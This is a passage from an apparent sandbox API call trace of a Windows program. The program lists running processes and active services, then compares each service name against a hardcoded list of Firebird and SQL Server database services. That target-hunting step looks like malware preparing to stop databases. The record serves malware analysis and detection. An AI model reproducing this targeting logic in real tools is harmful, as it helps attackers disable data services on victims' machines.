th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0065.529] lstrlenW (lpString="dllhost.exe") returned 11 [0065.529] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0065.530] lstrlenW (lpString="product.exe") returned 11 [0065.530] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0065.531] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0065.531] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0065.532] lstrlenW (lpString="basin.exe") returned 9 [0065.532] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0065.533] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0065.533] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0065.534] lstrlenW (lpString="tested housewives.exe") returned 21 [0065.534] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.535] lstrlenW (lpString="conhost.exe") returned 11 [0065.535] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.536] lstrlenW (lpString="conhost.exe") returned 11 [0065.536] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.537] lstrlenW (lpString="svchost.exe") returned 11 [0065.537] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0065.538] lstrlenW (lpString="wmxsde.exe") returned 10 [0065.538] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0065.539] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0065.539] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.540] lstrlenW (lpString="conhost.exe") returned 11 [0065.540] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0065.541] lstrlenW (lpString="cmd.exe") returned 7 [0065.541] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.542] lstrlenW (lpString="conhost.exe") returned 11 [0065.542] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.543] lstrlenW (lpString="svchost.exe") returned 11 [0065.543] Process32NextW (in: hSnapshot=0x37c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0065.544] CloseHandle (hObject=0x37c) returned 1 [0065.544] Sleep (dwMilliseconds=0x1f4) [0066.311] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ded18 [0066.741] EnumServicesStatusExW (in: hSCManager=0x6ded18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0066.741] GetLastError () returned 0xea [0066.741] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1d5a) returned 0x7040f8 [0066.742] EnumServicesStatusExW (in: hSCManager=0x6ded18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7040f8, cbBufSize=0x1d5a, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7040f8, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0066.743] CloseServiceHandle (hSCObject=0x6ded18) returned 1 [0066.743] lstrlenW (lpString="Appinfo") returned 7 [0066.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0066.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0066.743] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0066.743] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0066.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0066.743] lstrlenW (lpString="AppXSvc") returned 7 [0066.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0066.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0066.743] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0066.743] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0066.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0066.744] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0066.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0066.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0066.744] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0066.744] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0066.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0066.744] lstrlenW (lpString="Audiosrv") returned 8 [0066.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0066.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0066.744] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0066.744] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0066.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0066.744] lstrlenW (lpString="BFE") returned 3 [0066.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0066.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0066.744] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0066.744] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0066.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0066.744] lstrlenW (lpString="BITS") returned 4 [0066.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0066.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0066.744] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0066.744] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0066.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0066.744] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0066.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0066.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0066.745] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0066.745] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0066.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0066.745] lstrlenW (lpString="CDPSvc") returned 6 [0066.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0066.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0066.745] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0066.745] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0066.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0066.745] lstrlenW (lpString="ClickToRunSvc") returned 13 [0066.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0066.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0066.745] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0066.745] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0066.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0066.745] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0066.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0066.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0066.745] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0066.745] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0066.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0066.745] lstrlenW (lpString="CryptSvc") returned 8 [0066.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0066.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0066.745] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0066.745] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0066.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0066.745] lstrlenW (lpString="DcomLaunch") returned 10 [0066.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0066.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0066.746] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0066.746] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0066.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0066.746] lstrlenW (lpString="DeviceAssociationService") returned 24 [0066.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0066.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0066.746] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0066.746] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0066.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0066.746] lstrlenW (lpString="Dhcp") returned 4 [0066.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0066.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0066.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0066.746] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0066.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0066.746] lstrlenW (lpString="Dnscache") returned 8 [0066.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0066.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0066.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0066.746] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0066.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0066.746] lstrlenW (lpString="DoSvc") returned 5 [0066.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0066.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0066.746] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0066.746] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0066.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0066.746] lstrlenW (lpString="DPS") returned 3 [0066.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0066.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0066.746] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0066.746] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0066.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0066.747] lstrlenW (lpString="DusmSvc") returned 7 [0066.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0066.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0066.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0066.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0066.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0066.747] lstrlenW (lpString="EventLog") returned 8 [0066.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0066.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0066.747] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0066.747] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0066.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0066.747] lstrlenW (lpString="EventSystem") returned 11 [0066.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0066.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0066.747] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0066.747] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0066.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0066.747] lstrlenW (lpString="FontCache") returned 9 [0066.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0066.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0066.747] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0066.747] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0066.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0066.747] lstrlenW (lpString="gpsvc") returned 5 [0066.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0066.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0066.747] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0066.747] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0066.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0066.747] lstrlenW (lpString="iphlpsvc") returned 8 [0066.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0066.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0066.748] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0066.748] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0066.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0066.748] lstrlenW (lpString="KeyIso") returned 6 [0066.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0066.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0066.748] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0066.748] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0066.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0066.748] lstrlenW (lpString="LanmanServer") returned 12 [0066.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0066.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0066.748] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0066.748] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0066.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0066.748] lstrlenW (lpString="LanmanWorkstation") returned 17 [0066.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0066.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0066.748] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0066.748] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0066.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0066.748] lstrlenW (lpString="lfsvc") returned 5 [0066.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0066.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0066.748] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0066.748] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0066.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0066.749] lstrlenW (lpString="lmhosts") returned 7 [0066.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0066.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0066.749] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0066.749] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0066.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0066.749] lstrlenW (lpString="LSM") returned 3 [0066.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0066.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0066.749] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0066.749] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0066.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0066.749] lstrlenW (lpString="MapsBroker") returned 10 [0066.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0067.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0067.291] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0067.291] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0067.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0067.291] lstrlenW (lpString="MpsSvc") returned 6 [0067.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0067.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0067.291] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0067.291] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0067.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0067.291] lstrlenW (lpString="NcbService") returned 10 [0067.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0067.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0067.291] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0067.291] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0067.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0067.291] lstrlenW (lpString="netprofm") returned 8 [0067.291] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0067.291] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0067.291] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0067.291] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0067.291] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0067.292] lstrlenW (lpString="NlaSvc") returned 6 [0067.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0067.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0067.292] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0067.292] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0067.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0067.292] lstrlenW (lpString="nsi") returned 3 [0067.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0067.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0067.292] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0067.292] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0067.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0067.292] lstrlenW (lpString="PcaSvc") returned 6 [0067.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0067.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0067.292] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0067.292] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0067.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0067.292] lstrlenW (lpString="PlugPlay") returned 8 [0067.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0067.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0067.292] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0067.292] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0067.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0067.292] lstrlenW (lpString="Power") returned 5 [0067.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0067.292] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0067.292] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0067.292] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0067.292] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0067.292] lstrlenW (lpString="ProfSvc") returned 7 [0067.292] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0067.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0067.293] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0067.293] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0067.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0067.293] lstrlenW (lpString="RpcEptMapper") returned 12 [0067.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0067.293] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0067.293] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0067.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0067.293] lstrlenW (lpString="RpcSs") returned 5 [0067.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0067.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0067.293] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0067.293] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0067.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0067.295] lstrlenW (lpString="SamSs") returned 5 [0067.295] lstrcmpiW 